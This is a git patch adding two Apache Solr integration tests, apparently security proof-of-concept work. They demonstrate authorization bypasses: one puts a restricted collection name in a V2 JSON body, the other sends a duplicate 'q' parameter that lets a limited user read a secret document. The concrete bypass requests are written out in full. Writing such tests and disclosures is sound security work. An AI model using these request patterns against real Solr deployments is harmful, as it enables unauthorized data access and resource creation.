For a V2 collection-admin call (e.g. {@code POST /____v2/collections} with + * {@code {"create":{"name":"...", ...}}}), {@code V2HttpCall} parses the request with the default + * parser, which puts JSON bodies into a content stream (not into {@link + * org.apache.solr.common.params.SolrParams}); the command is only parsed later, at execution time, + * via {@code getCommands()}. Authorization's custom {@code params} matching reads + * {@code context.getParams()} (query-string params only), so a {@code name} carried in the JSON + * body is invisible to it. + * + *

The test pins this with an A/B on the same endpoint and user: a guard rule keyed on + * {@code params:{name:"supersecret"}} fires when {@code name} is in the query string (request + * denied), but is bypassed when the same {@code name} is in the JSON body (request allowed and the + * collection is created). + */ +@LogLevel("org.apache.solr.security=DEBUG") +public class V2JsonBodyParamAuthzIntegrationTest extends SolrCloudTestCase { + + private static final String ADMIN = "admin"; + private static final String ADMIN_PASS = "adminPass"; + private static final String CREATOR = "creator"; + private static final String CREATOR_PASS = "creatorPass"; + + // Both candidate authz resource strings for the V2 collections endpoint are included so the rule + // matches regardless of whether the resource is the raw "/____v2/collections" or "/collections". + private static final List V2_PATHS = List.of("/____v2/collections", "/collections"); + + @BeforeClass + public static void setupCluster() throws Exception { + Map guard = new java.util.HashMap<>(); + guard.put("name", "guard_supersecret"); + guard.put("collection", null); + guard.put("path", V2_PATHS); + guard.put("params", Map.of("name", "supersecret")); + guard.put("role", "admins_only"); + + Map v2create = new java.util.HashMap<>(); + v2create.put("name", "v2_create_allowed"); + v2create.put("collection", null); + v2create.put("path", V2_PATHS); + v2create.put("role", "creator_role"); + + final String securityJson = + Utils.toJSONString( + Map.of( + "authentication", + Map.of( + "class", "solr.BasicAuthPlugin", + "blockUnknown", true, + "credentials", + Map.of( + ADMIN, getSaltedHashedValue(ADMIN_PASS), + CREATOR, getSaltedHashedValue(CREATOR_PASS))), + "authorization", + Map.of( + "class", "solr.RuleBasedAuthorizationPlugin", + "user-role", + Map.of( + ADMIN, List.of("admins_only"), + CREATOR, List.of("creator_role")), + "permissions", List.of(guard, v2create, Map.of("name", "all", "role", "admins_only"))))); + + configureCluster(2) + .addConfig("conf", configset("cloud-minimal")) + .withSecurityJson(securityJson) + .configure(); + } + + private static String anyBaseUrl() { + return cluster.getJettySolrRunner(0).getBaseUrl().toString(); + } + + /** POST a JSON body to a V2 endpoint as the given user; returns [status, body]. */ + private static String[] postV2Json(String v2Path, String query, String jsonBody, String user, String pass) + throws Exception { + HttpClient cl = HttpClientUtil.createClient(null); + try { + String url = anyBaseUrl() + "/____v2" + v2Path + (query == null ? "" : "?" + query); + HttpPost post = new HttpPost(url); + post.setHeader(new BasicHeader("Authorization", + "Basic " + Base64.getEncoder().encodeToString((user + ":" + pass).getBytes(UTF_8)))); + post.setEntity(new StringEntity(jsonBody, ContentType.create("application/json", StandardCharsets.UTF_8))); + HttpResponse resp = cl.execute(post); + int status = resp.getStatusLine().getStatusCode(); + String respBody = resp.getEntity() == null ? "" : EntityUtils.toString(resp.getEntity(), UTF_8); + return new String[] {String.valueOf(status), respBody}; + } finally { + HttpClientUtil.close(cl); + } + } + + private static boolean collectionExists(String name) throws Exception { + ZkStateReader zr = cluster.getSolrClient().getZkStateReader(); + zr.forceUpdateCollection(name); + return zr.getClusterState().hasCollection(name); + } + + private static void waitUntilExists(String name) throws Exception { + final long deadline = System.nanoTime() + 30_000_000_000L; + while (System.nanoTime() < deadline) { + if (collectionExists(name)) return; + Thread.sleep(200); + } + } + + @Test + public void testV2JsonBodyParamIsInvisibleToCustomAuthzRule() throws Exception { + // Control: name in the QUERY STRING is seen by authz -> guard rule fires -> creator is denied. + // (The JSON body names a different collection that must never be created.) + String[] control = postV2Json("/collections", "name=supersecret", + "{\"create\":{\"name\":\"control_coll\",\"config\":\"conf\",\"numShards\":1,\"replicationFactor\":1}}", + CREATOR, CREATOR_PASS); + assertEquals("query-string name=supersecret must trip the guard rule; body=" + control[1], + "403", control[0]); + assertFalse("control_coll must not have been created", collectionExists("control_coll")); + + // Attack: the SAME name in the JSON body is invisible to the guard rule -> creator is allowed + // and the collection is created. + String[] attack = postV2Json("/collections", null, + "{\"create\":{\"name\":\"supersecret\",\"config\":\"conf\",\"numShards\":1,\"replicationFactor\":1}}", + CREATOR, CREATOR_PASS); + assertEquals("V2 create with name in the JSON body should be authorized (guard blind); body=" + attack[1], + "200", attack[0]); + waitUntilExists("supersecret"); + assertTrue( + "CONFIRMED: the custom rule keyed on params:{name:supersecret} did not see the name in the " + + "V2 JSON body, so 'creator' created the restricted collection. body=" + attack[1], + collectionExists("supersecret")); + } +} From f33012593eccb6a315759c6239886a0e1a9af6ef Mon Sep 17 00:00:00 2001 From: Claude Date: Mon, 25 May 2026 14:43:05 +0000 Subject: [PATCH 6/6] Add IT: duplicate-param bypass reaches search for non-collection first-value params Per-shard re-authorization protects the 'collection' dimension because the receiving core re-derives the authorized collection from the core it serves. A custom rule keyed on any other first-value param (here q) gets no such protection: the shard sub-request carries the full multi-valued param, so the receiving core makes the same any-value decision and then executes the first value. Demonstrates a 'pubonly' role allowed only q=id:pubdoc retrieving the secret doc via q=id:secretdoc&q=id:pubdoc. https://claude.ai/code/session_019x1K815brY4h1FHr2SgyKr --- ...SearchParamAuthzBypassIntegrationTest.java | 162 ++++++++++++++++++ 1 file changed, 162 insertions(+) create mode 100644 solr/core/src/test/org/apache/solr/security/SearchParamAuthzBypassIntegrationTest.java diff --git a/solr/core/src/test/org/apache/solr/security/SearchParamAuthzBypassIntegrationTest.java b/solr/core/src/test/org/apache/solr/security/SearchParamAuthzBypassIntegrationTest.java new file mode 100644 index 000000000000..532798fa3765 --- /dev/null +++ b/solr/core/src/test/org/apache/solr/security/SearchParamAuthzBypassIntegrationTest.java @@ -0,0 +1,162 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package org.apache.solr.security; + +import java.util.Base64; +import java.util.List; +import java.util.Map; + +import org.apache.http.HttpResponse; +import org.apache.http.client.HttpClient; +import org.apache.http.client.methods.HttpGet; +import org.apache.http.message.BasicHeader; +import org.apache.http.util.EntityUtils; +import org.apache.solr.client.solrj.SolrRequest; +import org.apache.solr.client.solrj.SolrResponse; +import org.apache.solr.client.solrj.impl.CloudSolrClient; +import org.apache.solr.client.solrj.impl.HttpClientUtil; +import org.apache.solr.client.solrj.request.CollectionAdminRequest; +import org.apache.solr.client.solrj.request.UpdateRequest; +import org.apache.solr.cloud.SolrCloudTestCase; +import org.apache.solr.common.SolrInputDocument; +import org.apache.solr.common.util.Utils; +import org.apache.solr.util.LogLevel; +import org.junit.BeforeClass; +import org.junit.Test; + +import static java.nio.charset.StandardCharsets.UTF_8; +import static org.apache.solr.security.Sha256AuthenticationProvider.getSaltedHashedValue; + +/** + * Tests whether the any-value-vs-first-value bypass reaches search when a custom rule is keyed on a + * NON-collection param that the handler consumes first-value (here {@code q}). + * + *

The per-shard re-authorization that protects the {@code collection} dimension works because the + * receiving core re-derives the authorized collection from the core it serves. For any other param + * there is no such re-derivation: the shard sub-request carries the full multi-valued param, so the + * receiving core makes the same any-value decision the coordinator did (it passes for the same + * reason) and then executes the first value. So per-shard re-auth should NOT protect a {@code q}-keyed + * rule. + * + *

Setup: a custom rule lets role {@code pubonly} query collection {@code coll} only when + * {@code q=id:pubdoc}; everything else needs admin. The {@code limited} user (pubonly) sends + * {@code q=id:secretdoc&q=id:pubdoc}: auth matches on the decoy {@code id:pubdoc}, execution uses the + * first value {@code id:secretdoc}, and the secret document is returned. + */ +@LogLevel("org.apache.solr.security=DEBUG") +public class SearchParamAuthzBypassIntegrationTest extends SolrCloudTestCase { + + private static final String ADMIN = "admin"; + private static final String ADMIN_PASS = "adminPass"; + private static final String LIMITED = "limited"; + private static final String LIMITED_PASS = "limitedPass"; + + private static final String COLL = "coll"; + private static final String PUBLIC_ID = "pubdoc"; + private static final String SECRET_ID = "secretdoc"; + + @BeforeClass + public static void setupCluster() throws Exception { + Map pubQuery = Map.of( + "name", "pub-query", + "collection", COLL, + "path", "/select", + "params", Map.of("q", "id:" + PUBLIC_ID), + "role", "pubonly"); + + final String securityJson = + Utils.toJSONString( + Map.of( + "authentication", + Map.of( + "class", "solr.BasicAuthPlugin", + "blockUnknown", true, + "credentials", + Map.of( + ADMIN, getSaltedHashedValue(ADMIN_PASS), + LIMITED, getSaltedHashedValue(LIMITED_PASS))), + "authorization", + Map.of( + "class", "solr.RuleBasedAuthorizationPlugin", + "user-role", + Map.of( + ADMIN, List.of("admin_role"), + LIMITED, List.of("pubonly")), + "permissions", + List.of(pubQuery, Map.of("name", "all", "role", "admin_role"))))); + + configureCluster(2) + .addConfig("conf", configset("cloud-minimal")) + .withSecurityJson(securityJson) + .configure(); + + CloudSolrClient client = cluster.getSolrClient(); + withAdmin(CollectionAdminRequest.createCollection(COLL, "conf", 2, 1)).process(client); + cluster.waitForActiveCollection(COLL, 2, 2); + + UpdateRequest u = withAdmin(new UpdateRequest()); + u.add(new SolrInputDocument("id", PUBLIC_ID)); + u.add(new SolrInputDocument("id", SECRET_ID)); + u.commit(client, COLL); + } + + private static > T withAdmin(T req) { + req.setBasicAuthCredentials(ADMIN, ADMIN_PASS); + return req; + } + + /** GET {base}/coll/select?{query} as the given user; returns [status, body]. */ + private static String[] getSelect(String query, String user, String pass) throws Exception { + HttpClient cl = HttpClientUtil.createClient(null); + try { + String base = cluster.getJettySolrRunner(0).getBaseUrl().toString(); + HttpGet get = new HttpGet(base + "/" + COLL + "/select?" + query); + get.setHeader(new BasicHeader("Authorization", + "Basic " + Base64.getEncoder().encodeToString((user + ":" + pass).getBytes(UTF_8)))); + HttpResponse resp = cl.execute(get); + int status = resp.getStatusLine().getStatusCode(); + String body = resp.getEntity() == null ? "" : EntityUtils.toString(resp.getEntity(), UTF_8); + return new String[] {String.valueOf(status), body}; + } finally { + HttpClientUtil.close(cl); + } + } + + @Test + public void testFirstValueParamBypassReachesSearch() throws Exception { + // Legit: q=id:pubdoc is the only thing the pubonly role may run -> returns the public doc only. + String[] legit = getSelect("q=id%3A" + PUBLIC_ID + "&wt=json", LIMITED, LIMITED_PASS); + assertEquals("limited should be allowed the permitted query; body=" + legit[1], "200", legit[0]); + assertTrue("permitted query should return the public doc; body=" + legit[1], legit[1].contains(PUBLIC_ID)); + assertFalse("permitted query must not return the secret doc; body=" + legit[1], legit[1].contains(SECRET_ID)); + + // Control: a plain query for the secret doc is forbidden (rule doesn't match -> falls to 'all'). + String[] control = getSelect("q=id%3A" + SECRET_ID + "&wt=json", LIMITED, LIMITED_PASS); + assertEquals("plain secret query must be forbidden; body=" + control[1], "403", control[0]); + + // Attack: dangerous q first, authorized decoy q second. + // q=id:secretdoc&q=id:pubdoc + // auth matches on the decoy (any-value); execution uses the first value (first-value). + String[] attack = getSelect("q=id%3A" + SECRET_ID + "&q=id%3A" + PUBLIC_ID + "&wt=json", + LIMITED, LIMITED_PASS); + assertEquals("request was authorized via the decoy q value; body=" + attack[1], "200", attack[0]); + assertTrue( + "BYPASS: limited (allowed only q=id:pubdoc) retrieved the secret doc via a duplicate q " + + "param; per-shard re-auth did not protect a non-collection first-value param. body=" + attack[1], + attack[1].contains(SECRET_ID)); + } +}